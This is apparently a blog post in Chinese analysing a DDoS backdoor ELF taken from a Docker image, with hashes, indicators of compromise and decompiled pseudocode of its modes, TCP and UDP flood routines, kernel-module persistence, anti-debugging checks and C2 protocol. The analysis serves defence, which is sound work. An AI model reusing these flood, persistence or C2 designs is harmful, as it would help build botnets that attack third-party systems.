取样

是个ddos安全事件的涉事后门程序
在一个docker镜像里面,先取出来

1
sudo docker cp 714c4f043f67:/tmp/4311 ./4311

然后打包

1
zip 4311.zip 4311

mcp分析

直接拷打

然后分析的感觉还行,基本信息都出来了,是什么功能,怎么个机制大致都分析了,接着就是针对性拷打就行

基本信息

文件类型: Linux ELF可执行文件 (32位)
基地址: 0x8048000
文件大小: 1,219,219字节
编译语言: C++ (GCC)
MD5:

1
14ef2b9010f62696a49cfb6e1aa9e6e0

SHA256:

1
70a7c6a15661cafb739e3acaf6b1cc2a1cf85d4881c173c418cc1c804597835b

威胁等级: 高危

恶意行为分析

1. 多功能恶意软件

这是一个高度复杂的多功能恶意软件,具有以下主要功能:
DDoS攻击工具: 支持多种攻击类型
后门程序: 提供远程控制能力
监控程序: 系统监控和数据收集
系统工具: 系统级操作和配置

2. 支持的攻击类型

网络层攻击:

TCP攻击 (CTcpAttack): 建立TCP连接并发送数据
UDP洪水 (CAttackUdp): UDP包洪水攻击
SYN洪水 (CAttackSyn): TCP SYN包洪水
ICMP攻击 (CAttackIcmp): ICMP包攻击
DNS放大 (CAttackDns): DNS放大攻击
放大攻击 (CAttackAmp): 使用放大技术
代理攻击 (CAttackPrx): 通过代理进行攻击

应用层攻击:

CC攻击 (CAttackCc): 针对特定协议
TNS攻击 (CAttackTns): Oracle TNS协议攻击
IE攻击 (CAttackIe): 针对Internet Explorer
压缩攻击 (CAttackCompress): 压缩数据攻击

3. 核心功能分析

主程序流程:

main() -> 根据g_iGatesType选择模式: 0: MainMonitor() // 监控模式 1: MainBeikong() // 贝壳模式 2: MainBackdoor() // 后门模式 3: MainSystool() // 系统工具模式

反分析机制:

检测父进程是否为gdb调试器
文件完整性检查(文件大小验证)
进程ID锁定机制

持久化机制:

自启动设置(SetAutoStart)
守护进程模式(daemon)
进程锁定文件
内核模块加载(xpacket.ko)

网络通信:

C&C服务器通信
多协议支持(TCP/UDP/ICMP)
DNS缓存系统(300秒缓存)
连接超时处理(5000ms)

4. 关键组件

配置管理:

CCmdDoing: 命令处理
CConfigDoing: 配置处理
CStatBase: 统计基础
CProvinceDns: 省份DNS映射

资源管理:

CAmpResource: 放大攻击资源(/usr/lib/libamplify.so)
CDNSCache: DNS缓存
CManager: 主管理器

网络基础:

CNetBase: 网络基础功能
CPacketAttack: 包攻击基类
各种协议头构造器

5. 感染指标 (IoC)

文件系统:

/usr/lib/libamplify.so - 放大库
xpacket.ko - 内核模块
各种锁定文件

网络:

连接到8.8.8.8, 8.8.4.4 (Google DNS)
本地环回地址127.0.0.1
动态目标IP地址

进程:

守护进程运行
进程ID文件锁定
自启动配置

进一步分析

问了下思路,然后告诉我一般逆向的分析思路都是

1
2
1. 获取文件基本信息 → 2. 分析入口点 → 3. 理解程序流程 → 
2. 识别关键函数 → 5. 分析攻击机制 → 6. 提取配置信息

入口点分析
_start函数分析:

1
2
3
4
5
6
7
8
9
10
11
12
// 这是程序真正的入口点
void __usercall __noreturn start(int a1@<eax>, void (*a2)()@<edx>)
{
// 清理环境,设置栈
xor ebp, ebp // 清空基址指针
pop esi // 获取命令行参数数量
mov ecx, esp // 保存栈指针
and esp, 0FFFFFFF0h // 16字节对齐

// 调用glibc的启动函数
__libc_start_main(main, esi, &retaddr, _libc_csu_init, _libc_csu_fini, a2, &v3);
}

然后告诉我分析的结果:
这是一个标准的Linux程序入口
xor ebp, ebp 是Linux程序的标准开头
最终调用了main函数,这是分析的核心
main函数的核心逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int main(int argc, const char **argv, const char **envp)
{
// 1. 初始化:关闭文件描述符,设置权限
CSysTool::CloseAllFileDescs(v10);
CSysTool::Ower6msf(v11);

// 2. 反分析检查
if (CFileOp::GetTgtFileSize(file_path) != g_iFileSize)
MEMORY[0] = 0; // 崩溃程序

if (strstr(parent_path, "gdb"))
MEMORY[0] = 0; // 检测调试器

// 3. 初始化全局配置
HGrd9(); // 序列号
Mndyuf(); // 后门序列号
BGtd98(); // 后门网关
Osdku6(); // 邮件列表
wer54(); // 网关列表

// 4. 根据模式选择执行
if (g_iGatesType == 1) MainBeikong();
else if (g_iGatesType == 2) MainBackdoor();
else if (g_iGatesType == 3) MainSystool(argc, argv);
else MainMonitor();
}

关键发现:
反分析机制:检查文件大小和调试器
多模式设计:4种不同的工作模式
全局配置:5个配置字符串在运行时初始化

攻击模式深度分析

监控模式 (MainMonitor)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int MainMonitor()
{
// 成为守护进程
daemon(1, 0);

// 进程锁定
CSysTool::MarkPid(g_strML, g_iMoniLock, &pid);

// 创建监控线程
CThreadMonGates *thread = new CThreadMonGates(path);
thread->StartThread();

// 每小时循环一次
while(1) {
_sleep(3600); // 3600秒 = 1小时
}
}

分析:
守护进程:后台运行,不受终端控制
进程锁定:防止多实例运行
监控线程:持续监控网关状态
低频循环:每小时检查一次,节省资源
后门模式 (MainBackdoor)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void MainBackdoor()
{
daemon(1, 0);

// 检查是否已运行
if (!CSysTool::IsPidExist(lock_file)) {
// 标记进程
CSysTool::MarkPid(lock_file, g_iBackdoorLock, &pid);

// 设置自启动
CUtility::SetAutoStart(g_strBDSN, 99, &result);

// 处理系统工具
CSysTool::HandleSystools(unk_8100D38, &param);

// 启动主进程
MainProcess();
}
}

分析:
防重复运行:检查进程锁文件
自启动机制:设置开机自动运行
系统工具集成:可能包含其他恶意功能
主进程启动:进入核心攻击逻辑
主进程 (MainProcess) - 核心攻击引擎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void MainProcess()
{
// 休眠2秒等待系统稳定
CUtility::Sleep(2000);

// 清理临时文件
CFileOp::RemoveFile(update_temp_file);

// 初始化各种组件
CDNSCache::Initialize(&g_dnsCache, 300);
CConfigDoing::Initialize(&g_cnfgDoing);
CCmdDoing::Initialize(&g_cmdDoing);
CStatBase::Initialize(&g_statBase);
CProvinceDns::InitReadResource(&g_provinceDns);

// 加载内核模块
system("insmod xpacket.ko");

// 加载放大库
CAmpResource::InitReadResource(&g_AmpResource, "/usr/lib/libamplify.so");

// 创建管理器
g_pManager = new CManager();
g_pManager->Initialize();

// 设置信号处理
_bsd_signal(9, KillHandler);

// 主循环
while(1) {
CUtility::Sleep(60000); // 每分钟检查一次
}
}

核心发现:
内核模块加载:insmod xpacket.ko - 加载网络包处理模块
放大攻击库:/usr/lib/libamplify.so - DNS放大攻击组件
管理器架构:CManager负责协调各种攻击
持续运行:无限循环,定期检查任务

DDoS攻击机制详解

TCP攻击实现
CTcpAttack::Do函数分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int CTcpAttack::Do(unsigned int param)
{
// 调用虚函数(可能是UpdateCurVariant)
(*(void (__cdecl **)(this, unsigned int))(*(_DWORD *)this + 24))(this, param);

// 过滤本地地址
if (inet_addr("127.0.0.1") == this->target_ip) return 0;

// 创建TCP socket
this->socket_fd = CNetBase::CreateSocket(6, &result); // 6 = TCP

// 连接目标
if (!CNetBase::Connect(&buffer, this->socket_fd, target_ip, target_port, 5000, &timeout)) {
// 发送数据
data_size = std::vector<char>::size(&this->send_data);
data_ptr = std::vector<char>::operator[](&this->send_data, 0);
CNetBase::Send(&buffer, this->socket_fd, data_ptr, data_size, 5000, &result);

// 接收响应
recv_size = std::vector<char>::size(&this->recv_buffer);
recv_ptr = std::vector<char>::operator[](&this->recv_buffer, 0);
CNetBase::Recv(&buffer, this->socket_fd, recv_ptr, recv_size, 5000, &result);
}

// 关闭连接
CNetBase::Close(this->socket_fd, &result);
this->socket_fd = 0;

// 等待1秒后继续
CThreadCondition::Wait(&this->condition, 1000);

return 0;
}

攻击原理:
连接建立:与目标服务器建立TCP连接
数据发送:发送预构造的攻击数据包
响应接收:接收服务器响应(可选)
连接关闭:断开连接
循环攻击:短暂等待后继续下一轮攻击
UDP洪水攻击
CAttackUdp::MakePacket函数分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int CAttackUdp::MakePacket(CProtocolUtil *util)
{
// 获取攻击参数
int data_length = this->data_length; // 数据长度
unsigned short dst_port = this->dst_port; // 目标端口
unsigned short src_port = this->src_port; // 源端口
unsigned int dst_ip = this->dst_ip; // 目标IP
unsigned int src_ip = this->src_ip; // 源IP

// 构造UDP包头
int header_size = CPacketAttack::BuildUdpHeader(
&this->packet_buffer[14], // 跳过以太网头
(char*)&src_ip, // 源IP
dst_ip, // 目标IP
src_port, // 源端口
dst_port, // 目标端口
data_length, // 数据长度
util, // 协议工具
&result
);

// 设置包长度
this->packet_size = header_size;
this->data_size = data_length;

return 0;
}

UDP攻击特点:
无连接:不需要建立连接,直接发送
高速:每秒可以发送数万个包
伪造源IP:可以伪造源地址
放大效应:通过DNS等协议实现放大

C2通信分析

域名列表存储位置:g_strConnTgts全局字符串变量中,用逗号分隔

1
2
3
4
5
6
7
// 从main函数中找到的域名解析逻辑
CManager::GetNodeDomains(this);

// GetNodeDomains函数实现
if (!g_strConnTgts.empty()) {
CUtility::Split(g_strConnTgts, ',', this->domain_vector);
}

DNS解析过程
ZX模式(服务器模式):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 对每个域名进行DNS解析
for (int i = 0; i < domain_vector.size(); i++) {
string domain = domain_vector[i];

// 使用内置DNS缓存进行解析
CDNSCache::GetIpFromDomain(&result, g_dnsCache, domain.c_str());

// 将域名解析为IP地址
string ip = inet_ntoa(result);

// 检查客户端IP是否匹配
if (client_ip == inet_addr(ip.c_str())) {
// 允许连接
accept_connection = true;
break;
}
}

FX模式(客户端模式):

1
2
3
4
5
// 直接使用域名建立连接
for (string domain : domain_vector) {
CThreadFXConnection *conn = new CThreadFXConnection(this, domain.c_str());
conn->StartThread();
}

通信加密与安全机制
发送数据序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int CCommunicate::MakeSend(vector<char>& buffer, int msg_type, CSerial* data)
{
// 1. 获取数据大小
int data_size = data->GetSize();

// 2. 调整buffer大小 (8字节头部 + 数据)
buffer.resize(data_size + 8);

// 3. 写入消息类型 (前4字节)
*(int*)buffer[0] = msg_type;

// 4. 写入数据长度 (后4字节)
*(int*)buffer[4] = data_size;

// 5. 序列化数据到buffer (从第8字节开始)
if (data_size > 0) {
data->Serialize(&buffer[8], data_size);
}

return data_size + 8; // 返回总长度
}

接收数据反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int CManager::RecvCommand(int socket, void* extra_param)
{
// 1. 接收消息类型 (4字节)
int msg_type;
CNetBase::Recv(socket, &msg_type, 4, TIMEOUT);

// 2. 接收数据长度 (4字节)
int data_length;
CNetBase::Recv(socket, &data_length, 4, TIMEOUT);

// 3. 接收数据内容
vector<char> data_buffer;
data_buffer.resize(data_length);
CNetBase::Recv(socket, &data_buffer[0], data_length, TIMEOUT);

// 4. 创建命令消息对象
CCmdMsg* cmd = new CCmdMsg(msg_type, data_buffer);

// 5. 根据消息类型处理
switch (msg_type) {
case 1: case 2: case 5: case 7: case 9:
// 发送到命令队列
cmd_queue->MessageSend(cmd);
break;
case 3: case 8:
// 设置额外参数后发送
cmd->SetExtra(extra_param);
cmd_queue->MessageSend(cmd);
break;
default:
// 删除无效命令
delete cmd;
break;
}
}

连接安全验证采用白名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
bool validate_client_ip(sockaddr_in client_addr)
{
uint32_t client_ip = client_addr.sin_addr.s_addr;

// 遍历允许的域名列表
for (string domain : allowed_domains) {
// DNS解析域名
string resolved_ip = dns_resolve(domain);

// 比较IP地址
if (client_ip == inet_addr(resolved_ip.c_str())) {
return true; // 允许连接
}
}

return false; // 拒绝连接
}